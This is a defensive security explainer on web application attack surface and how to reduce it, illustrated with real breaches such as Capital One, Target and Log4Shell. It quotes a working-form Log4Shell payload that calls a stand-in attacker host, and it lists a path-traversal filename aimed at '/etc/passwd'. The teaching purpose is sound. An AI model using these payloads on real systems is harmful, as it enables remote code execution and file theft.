Attack Surface
What is Attack Surface?
Attack surface is the sum of all points where an attacker can try to enter or extract data from a system. Every endpoint, every input field, every open port, every dependency, every user with access — all of it is attack surface.
The goal is not to eliminate attack surface entirely. That would mean shipping nothing. The goal is to minimize it deliberately and protect what remains.
A typical web application's attack surface:
- HTTP endpoints (public APIs, admin routes, health checks)
- Authentication flows (login, registration, password reset, OAuth callbacks)
- File upload handlers
- Database connections
- Third-party API integrations
- DNS records
- SSL/TLS configuration
- Client-side JavaScript
- Dependencies (npm packages, Docker base images, OS packages)
- Cloud infrastructure (S3 buckets, IAM roles, security groups)
- People (employees with credentials, contractors, former employees)
Where Attackers Look First
Attackers are efficient. They do not start by trying to break your encryption. They start by looking for the easiest entry points.
Admin Panels & Internal Tools
Common findings during penetration tests:
- /admin accessible without authentication
- /phpmyadmin with default credentials
- Internal dashboards exposed to the internet
- Debugging endpoints left enabled in production
- GraphQL introspection enabled, exposing full schema
Real example: 2019 Capital One breach
- A misconfigured WAF on an internal metadata endpoint
allowed an attacker to retrieve IAM credentials from
the EC2 instance metadata service (169.254.169.254)
- 106 million customer records exposed
APIs & Endpoints
Every API endpoint is an entry point. Attackers enumerate them systematically.
Tools attackers use:
- Directory brute-forcing: /api/v1/users, /api/v2/admin, /api/internal
- Swagger/OpenAPI docs left publicly accessible
- JavaScript source maps revealing API routes
- Mobile app decompilation revealing hidden endpoints
- CORS misconfigurations allowing cross-origin access
Real example: 2018 Facebook IDOR (CVE-2018-18057 area)
- Graph API allowed viewing photos of any user
by changing the user ID parameter
- 6.8 million users' private photos exposed
- The endpoint existed for a legitimate feature but
lacked proper authorization checks
File Uploads
File upload is one of the most dangerous features you can implement.
Attack vectors through file upload:
- Uploading a PHP/JSP webshell disguised as an image
- SVG files containing embedded JavaScript
- ZIP bombs (small file that decompresses to gigabytes)
- Path traversal in filenames: ../../etc/passwd
- Polyglot files (valid image AND valid JavaScript)
- Overwriting existing files by controlling the filename
Mitigations:
- Validate file type by magic bytes, not just extension
- Generate random filenames server-side
- Store uploads outside the web root
- Serve uploads from a separate domain
- Scan for malware before accepting
- Set Content-Disposition: attachment on downloads
Third-Party Integrations
Every integration expands your attack surface with someone else's security posture.
Real example: 2013 Target breach
- Attackers compromised Fazio Mechanical (HVAC vendor)
- Used vendor credentials to access Target's network
- Pivoted from vendor portal to POS systems
- 40 million credit card numbers stolen
Real example: 2021 Kaseya VSA supply chain attack
- REvil ransomware group exploited Kaseya's remote management tool
- Compromised managed service providers (MSPs)
- Reached 1,500+ downstream businesses through the supply chain
Reducing Attack Surface
Disable What You Don't Use
Every feature, port, service, and endpoint you do not actively use
should be disabled or removed.
Checklist:
- Remove default accounts and change default passwords
- Disable directory listing on web servers
- Remove sample applications (Tomcat examples, IIS default pages)
- Disable unused HTTP methods (TRACE, OPTIONS if not needed)
- Remove development dependencies from production builds
- Disable debugging endpoints and verbose error messages
- Close unnecessary ports (check with: nmap -sS your-server)
- Remove unused DNS records pointing to decommissioned services
Limit Exposed Ports
Production server — what should be open:
Port 443 (HTTPS) — yes
Port 80 (HTTP) — only to redirect to 443
Port 22 (SSH) — only from bastion host / VPN, never public
What should NOT be open:
Port 3306 (MySQL) — internal only
Port 5432 (PostgreSQL) — internal only
Port 6379 (Redis) — internal only, no auth by default
Port 9200 (Elasticsearch) — internal only
Port 27017 (MongoDB) — internal only
Real example: 2017 MongoDB ransomware wave
- Thousands of MongoDB instances exposed to the internet
- Default configuration: no authentication, bound to 0.0.0.0
- Attackers deleted data and demanded ransom
- 28,000 databases wiped in a single campaign
Minimize Dependencies
Every dependency is code you did not write, did not review, and must trust.
Real example: 2021 Log4Shell (CVE-2021-44228)
- Critical RCE vulnerability in Apache Log4j
- Affected virtually every Java application
- Trivial to exploit: ${jndi:ldap://attacker.com/payload}
- Many organizations did not even know they used Log4j
because it was a transitive dependency
Real example: 2018 event-stream npm attack
- Attacker gained maintainer access to popular npm package
- Injected code targeting a specific Bitcoin wallet application
- 8 million weekly downloads meant massive exposure
- Dependency existed three levels deep in many projects
Mitigations:
- Audit dependencies regularly (npm audit, pip-audit, cargo audit)
- Pin dependency versions, don't use floating ranges
- Use lock files (package-lock.json, Pipfile.lock)
- Monitor for CVEs in your dependency tree
- Evaluate whether you actually need each dependency
- Prefer well-maintained libraries with security track records
The Principle of Least Privilege
Every user, process, and system should have only the minimum access required to perform its function.
Examples:
- A web server process should not run as root
- A database user for an API should not have DROP TABLE permissions
- An S3 bucket policy should grant read to specific roles, not public
- An employee in marketing should not have SSH access to production
- A CI/CD service account should not have admin access to AWS
- API keys should be scoped to specific operations, not full access
Least Privilege in Practice
Bad IAM policy:
{
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
Better IAM policy:
{
"Effect": "Allow",
"Action": [
"s3:GetObject",
"s3:PutObject"
],
"Resource": "arn:aws:s3:::my-app-uploads/*"
}
Real example: 2019 Capital One breach (revisited)
- The compromised IAM role had access to list S3 buckets
AND read their contents across the entire account
- If the role had been scoped to only the buckets the
application needed, the blast radius would have been
dramatically smaller
Forgotten Attack Surface
The most dangerous attack surface is the surface you have forgotten about.
Subdomain Takeover
Scenario:
1. You create staging.yourapp.com pointing to a Heroku app
2. You decommission the Heroku app but forget the DNS record
3. An attacker creates a Heroku app and claims that subdomain
4. They now control staging.yourapp.com
5. They can set cookies for *.yourapp.com, phish your users,
and potentially bypass CORS policies
Prevention: Audit DNS records regularly. Remove records for
decommissioned services. Monitor for subdomain takeover.
Cloud Storage Misconfiguration
Real example: Numerous S3 bucket exposures
- 2017: Verizon — 14 million customer records in public S3 bucket
- 2017: US Army/NSA — classified data in public S3 bucket
- 2019: Capital One — 106 million records via misconfigured WAF
AWS has since added multiple warnings and defaults to prevent
public bucket access, but misconfigurations still happen.
Dangling Resources
Attack surface that teams commonly forget:
- Old API versions still running (v1 alongside v3)
- Test environments with production data
- Former employee accounts not deprovisioned
- OAuth applications authorized by departed employees
- Webhook endpoints registered with third-party services
- Unused cloud resources (VMs, databases, load balancers)
- Docker images with hardcoded credentials in public registries
Mapping Your Attack Surface
You cannot protect what you do not know about. Regular attack surface mapping is essential.
External attack surface:
- Enumerate subdomains (amass, subfinder)
- Port scan your external IPs (nmap, masscan)
- Review DNS records for dangling entries
- Check certificate transparency logs for forgotten subdomains
- Test all public endpoints for authentication requirements
Internal attack surface:
- Inventory all services and their network exposure
- Review IAM policies for over-permissioned accounts
- Audit third-party integrations and their access levels
- Check for default credentials on internal tools
- Review dependency trees for known vulnerabilities
Common Pitfalls
-
Focusing only on external surface: Internal systems are attack surface too. Once an attacker is inside (phishing, compromised VPN, supply chain), every internal service is a target. The 2020 SolarWinds attackers moved freely through internal networks.
-
Ignoring the human attack surface: Every employee with a password is attack surface. Social engineering, phishing, and credential theft are consistently the top initial access vectors. People are not a weakness to be eliminated — they are a surface to be protected.
-
Set and forget infrastructure: Attack surface changes with every deployment, every new integration, every DNS record. What was secure six months ago might not be secure today. Continuous monitoring beats periodic audits.
-
Trusting your CDN or WAF to handle it: These are valuable layers, but they are not a substitute for application-level security. WAFs can be bypassed. CDNs can be misconfigured. Your application must defend itself.
-
Not inventorying shadow IT: Teams spin up services, create cloud resources, and register domains without security team awareness. If you do not know it exists, you cannot protect it.
-
Treating internal networks as trusted: Zero trust architecture assumes no network location is inherently safe. The 2021 Colonial Pipeline breach started with a single compromised VPN credential and the attackers faced minimal internal barriers.
Key Takeaways
- Attack surface is everything an attacker can interact with: endpoints, inputs, dependencies, cloud resources, and people.
- Attackers look for easy wins first: admin panels, exposed databases, misconfigured cloud storage, forgotten subdomains.
- Reduce surface by disabling unused features, closing unnecessary ports, minimizing dependencies, and removing default configurations.
- Apply the principle of least privilege everywhere: every user, process, and system gets only the access it needs.
- The most dangerous attack surface is the surface you have forgotten about. Inventory and audit continuously.
- Every third-party integration extends your attack surface with their security posture. Evaluate and monitor accordingly.